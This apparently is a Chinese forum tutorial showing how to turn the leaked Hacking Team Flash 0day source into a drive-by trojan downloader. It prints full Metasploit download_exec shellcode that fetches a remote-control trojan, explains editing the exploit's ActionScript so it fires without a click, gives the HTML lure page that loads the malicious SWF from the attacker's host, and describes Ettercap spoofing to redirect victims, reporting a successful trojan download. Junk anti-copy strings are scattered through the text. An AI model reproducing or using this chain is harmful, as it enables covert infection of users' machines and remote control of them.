flash 0day之手工代码修改制作下载者实例入侵演示

admin

三、flash 0day之手工代码修改制作下载者实例入侵演示 . [/ {- A2 d4 A' h$ X- J

3 X! G% _1 S; H% K4 O7 b8 s: ^ 利用到的工具： % B4 [3 h2 o; E6 c3 G# f

; D+ o( q5 N) }) l% Z5 p& x

Msf ' f% }% O9 w% H. M( ?% Q/ m% v3 y

, T. k9 B1 f* W- E+ g

: {8 [+ |7 K# W Ettercap

2 s& V0 a6 n0 f! a

: W' A* S- A" O: S% i! R Adobe Flash CS6 ; o6 |3 S6 Z _. B: z

Hacking Team Flash 0day-可冲破Chrome沙盒-Evil0X源代码一份

下面我们就开始演示入侵，利用msf生成shellcode,首先打开msf执行use windows/download_exec，show options 9 G5 t8 F* u( ^+ _2 _3 Q

6 u+ e- o; N: `: L$ O 如图： ; I: G0 |. {$ {, F. U' |

  ' r W, {( V: `9 [/ F; @$ f

 

7 S1 a0 U6 R7 K- [3 ^

然后set EXE system.exe,再执行set URL,需要说明一下URL就是我们的马的下载地址，这里我们用远控马，远控配置使用不再详细说明。。。如图: # o' D4 ~8 c F# J' B* m

5 Q5 H8 V( s5 g* s  

5 H& @% y r7 E1 T9 @( r8 k

. v. y& S+ f! z {  

1 J: f; b8 ] k8 p; G

然后执行generate -t dword生成shellcode，如下： , F3 \, d0 _# |3 i8 R2 e! S

" U9 ^- N% g( ]8 d

 

0 N- ^: z' ~* A" e& p: }( R% y

2 [) W; M& I5 v% V$ |0 p' N 复制代码到文本下便于我们一会编辑flash exp，如下： & M7 b% E6 C% y& R% y$ v; ^

5 j% W5 g' e1 `% l9 Z; u

0x0089e8fc, 0x89600000, 0x64d231e5, 0x8b30528b, 0x528b0c52, 0x28728b14, 0x264ab70f, 0xc031ff31,

0x7c613cac, 0xc1202c02, 0xc7010dcf, 0x5752f0e2, 0x8b10528b, 0xd0013c42, 0x8578408b, 0x014a74c0, $ Z5 F* c) ~ n# t; R

+ R p: }* Z# e6 i) _* }

0x488b50d0, 0x20588b18, 0x3ce3d301, 0x8b348b49, 0xff31d601, 0xc1acc031, 0xc7010dcf, 0xf475e038, / Q! K0 H& k+ L3 ~! G

0x3bf87d03, 0xe275247d, 0x24588b58, 0x8b66d301, 0x588b4b0c, 0x8bd3011c, 0xd0018b04, 0x24244489,

) u. u3 j: F% X

% p7 R9 n) u* M3 M/ X* s 0x59615b5b, 0xe0ff515a, 0x8b5a5f58, 0x5d86eb12, 0x74656e68, 0x69776800, 0xe689696e, 0x774c6854, + a: V1 ] {6 a l" S; l

3 r% Y; m+ c* Q4 G7 u 0xd5ff0726, 0x5757ff31, 0x68565757, 0xa779563a, 0x60ebd5ff, 0x51c9315b, 0x51036a51, 0x53506a51, ) W1 E) P) z; p( u8 @# S

+ ]: h `) B/ w2 n6 T9 ]4 q

0x89576850, 0xd5ffc69f, 0x31594feb, 0x006852d2, 0x52846032, 0x52515252, 0x55eb6850, 0xd5ff3b2e, " l$ K' n7 F, x# F( X8 V* ~3 \- R

3 U) S* k$ V+ ~% e* m

0x106ac689, 0x3380685b, 0xe0890000, 0x6a50046a, 0x7568561f, 0xff869e46, 0x57ff31d5, 0x56575757,

0x18062d68, 0x85d5ff7b, 0x4b1f75c0, 0x007c840f, 0xd1eb0000, 0x00008ee9, 0xfface800, 0x732fffff, 7 N8 X/ ~' ^8 Z9 l

- s/ K9 H7 m0 @; X

) [1 C" E" X$ F8 g8 z L9 C 0x65747379, 0x78652e6d, 0x6beb0065, 0x505fc031, 0x026a026a, 0x6a026a50, 0xda685702, 0xff4fdaf6,

d# Y' Q& H9 @3 d 0xc03193d5, 0x0304b866, 0x8d54c429, 0x3108244c, 0x5003b4c0, 0x12685651, 0xffe28996, 0x74c085d5,

- b* c, `# c1 J# U 0xc085582d, 0x006a1674, 0x448d5054, 0x53500c24, 0xae572d68, 0x83d5ff5b, 0xceeb04ec, 0x96c66853, # Z D& Y4 V2 j& q M0 Y% H7 c6 h4 ]

4 h. v2 N0 Q% P- F2 z' t/ ] 0xd5ff5287, 0x6857006a, 0x876f8b31, 0x006ad5ff, 0xa2b5f068, 0xe8d5ff56, 0xffffff90, 0x74737973, ' f1 c% W: p$ {! _0 D( |9 \# |9 Q

2 Q8 I' M: ~3 N _

/ Y+ b- \) `1 `: T" C7 } 0x652e6d65, 0xe8006578, 0xffffff08, 0x2e737378, 0x64696162, 0x6b682e6f, 0x00000000

7 `0 K) e1 l$ `, U6 B) X

 

  9 |) ]1 Q9 u; Q

" q) y; C u. d5 q/ m$ [4 n1 N8 u; h0 N 下面我们来修改flash 0day exp，需要修改三个文件，分别为： 3 g# {% F$ S6 K: H9 T/ T1 H- h

7 u" f, y( C/ B  

& d0 P4 i2 O' @7 l7 I0 \. { 先修改ShellWin32.as，部分源代码如图：

3 p2 [8 n0 B( k5 r

1 v2 i, Y8 ]7 g T; V  

4 e5 Q6 [( P! l8 `/ r' P" y! X+ E 我们需要把标记处[]中的代码改成用msf生成的代码，修改后如下：

4 O9 O( R! k6 ?9 R, n) g/ b1 {& r# U. f

3 O- G2 Z! l$ D# p4 }  

. X0 n, D% m) x8 [+ A! z$ d 然后保存，ShellWin64.as的修改方法如上述，不再演示，下面我们来修改myclass.as,这里需要说明一下，因为此exp生成的利用程序，不能直接自动触发flash漏洞，也就是需要点击按钮才可以，实际上在做渗透的时候需要把它搞得更完美，所以就需要修改，修改方法：搜索myclass的某个字符doc.addchild(btn);如图： ( H2 X3 o* ]+ c

' b9 y; `7 B8 s8 ]

  & ^! g( V8 p o

: f2 [* w% Q" X1 _+ @ 换行在后面加一句TryExpl();注意是l不是数字1，然后如图：

  ' s/ e4 O1 s) T% S6 N0 i1 R

9 l. D8 d5 M- ]; t7 h/ K

 

) @/ k, H; d. y+ T- e& Y1 G   1 f. X0 q" H4 s( b

8 P( k7 K' y" g4 {( q/ X" K 然后点保存，下面我们来编译一下，打开

9 ]5 B1 ]. V! a% X2 O7 w

1 |% {- D& c) L% {1 t3 p' m exp1.fla然后点文件-发布，看看编译没错误 - K6 K% M9 n. U$ H/ M, ` O# y

- F: n5 m) |2 q4 b% S   4 T7 Z! y$ s; K

* s2 }! A6 D3 A, T

  ; {& [$ n/ j1 W

! D* B+ ^+ ~& N- }! Y4 |$ f

/ t+ e; d" t8 r- z( q: p  

) s9 f3 D7 T( m$ r# [; v  

5 k) Q1 n0 y7 @5 V* V% ~8 O 然后我们把生成的

, x5 T( j0 K; z( I `# ]

exp1.swf丢到kailinux 的/var/www/html下： 3 K% Q5 a, ]# l

7 x. U5 Y3 X! ~+ C

7 i0 {0 F8 P$ \* t, s0 Y4 V" n5 p, S5 a# o 然后把这段代码好好编辑一下 4 l- {% i* n. z3 S

 

! E7 S v4 P4 e# o$ h

 

5 ]& e9 Z- t/ g7 i* r3 I

: M! e! X, L* |3 o* @   ) m% D$ |0 w" g( }

  ! \8 q: N( {# Y) ^8 @3 A9 A

 

 

' Z+ _5 [2 e; g* h

<!DOCTYPE html>

<html>

8 z! o& k; H6 F. t. I# W% p% N

% K- \2 v( `. h$ }8 k$ ?0 E <head> 5 a. O/ O3 F9 b* o; P5 C

( Q) g$ {, w2 u" w" Q' i2 Z! g

1 s4 I* Q, A2 f% M7 B- B. h <meta http-equiv="Content-Type" content="text/html;

charset=utf-8"/>

- Y9 n4 ?( O$ P* z

; V" ^% y& r) R( z6 u </head>

( G; j* w, ?; x1 x% a& Y

<body>

6 v1 F, t6 T" U* A4 q0 d

<h2> Please wait, the requested page is loading...</h2>

& {: R0 S/ a* ]3 ]

<br> % D* `7 |( ?) H( g* M+ R

/ Y/ L& t8 e/ P# R; E <OBJECT

classid="clsid27CDB6E-AE6D-11cf-96B8-444553540000"  WIDTH="50" HEIGHT="50" id="4"><ARAM NAME=movie ' F( o: \- |7 L# g

( k% d( u: h/ m( m5 I

VALUE="http://192.168.0.109/exp1.swf"></OBJECT> - l, _* g; L, L1 Q: s! U! t; a

; Q& ]/ y% U. I0 N3 p' E6 Z

</body> ; J3 b3 H; O/ m2 z% a7 N- N

<script>

- c6 L) z# d" j

q' a: V- x# g5 R6 }     setTimeout(function () { 6 ]) ~2 n/ _3 w" Y# w0 N

( y& Y& j) u6 l: o' ~ Z

x+ J+ v0 L" H$ Q) j, K5 P7 F          % w& g) N; n/ h* m

window.location.reload();

( L! b% }# ~$ t# x. k7 H

( D! y. G3 N' M) c7 Z     }, 10000); 1 L$ d5 }# [2 l D4 r3 ?5 Y

: x7 K( q( i; c* T

! Y" ^9 F, }2 V" Y6 r% }7 }  

' M% g$ Z# U: } n

/ U2 g' S5 i9 h4 [- v </script> " K! I' n/ U* a3 b! M5 d8 h$ t

% h9 @4 o; n2 p3 W! s7 t7 [

+ ?* m" [- h6 j. k+ Y </html> 7 ?6 r ?) R7 H# N, ~. U0 e

  ; r$ s+ }/ A1 f g6 r# B

4 c& l4 V1 Z2 |: W& V

7 Y/ q; r {. s0 M+ E8 B. S 注意：192.168.0.109是kali的ip地址，这时候我们需要service apache2 start启动一下web服务，然后将上面的html保存为index.htm同样丢到kali web目录下，测试访问链接存在如图： % K7 J: b3 Y% S

 

$ ]& B$ \) H! W2 k5 C: {

  * L- H0 }( W: o4 u% [, R7 e

7 m u0 X1 v9 a# G- c   - h/ Z9 m1 F* V2 P" P" e {

  * [% ?: X- V$ s! b+ [

/ D9 e% C( Y L' `0 Z/ p$ w) G1 F  

4 [+ L( q5 O7 f) r

下面我们用ettercap欺骗如图： , K! s# M/ Y' D( h0 {

, Y) p* }2 D0 b( [; k1 a# r

& s- T; m* `- x0 ^3 D4 ^1 s   % Y- l! ~$ D; \' d0 T- g

7 K6 Z3 p/ J. M6 x8 S   6 `7 T9 G; x$ k6 T8 w( G, E

下面我们随便访问个网站看看： 7 ~2 c1 q. j# f# d

. ^: }( T" h3 ^( C 我靠我发现直接用ettercap欺骗物理机装了腾讯管家照样可以欺骗成功，如图： - R& J$ y* v# J9 Y$ F+ [1 Q: s6 ~

 

9 [3 Y0 R" N9 S$ C% T8 J' Y2 l 我们看另一台， . E/ @& N% z% {- F( X

% q- b3 k% s U ^6 g

" B% c/ I# l9 ? 提示这个错误，说明木马是成功被下载执行了，只是由于某些原因没上线而已。。。 3 l( @( |7 g* M( X; a- \ @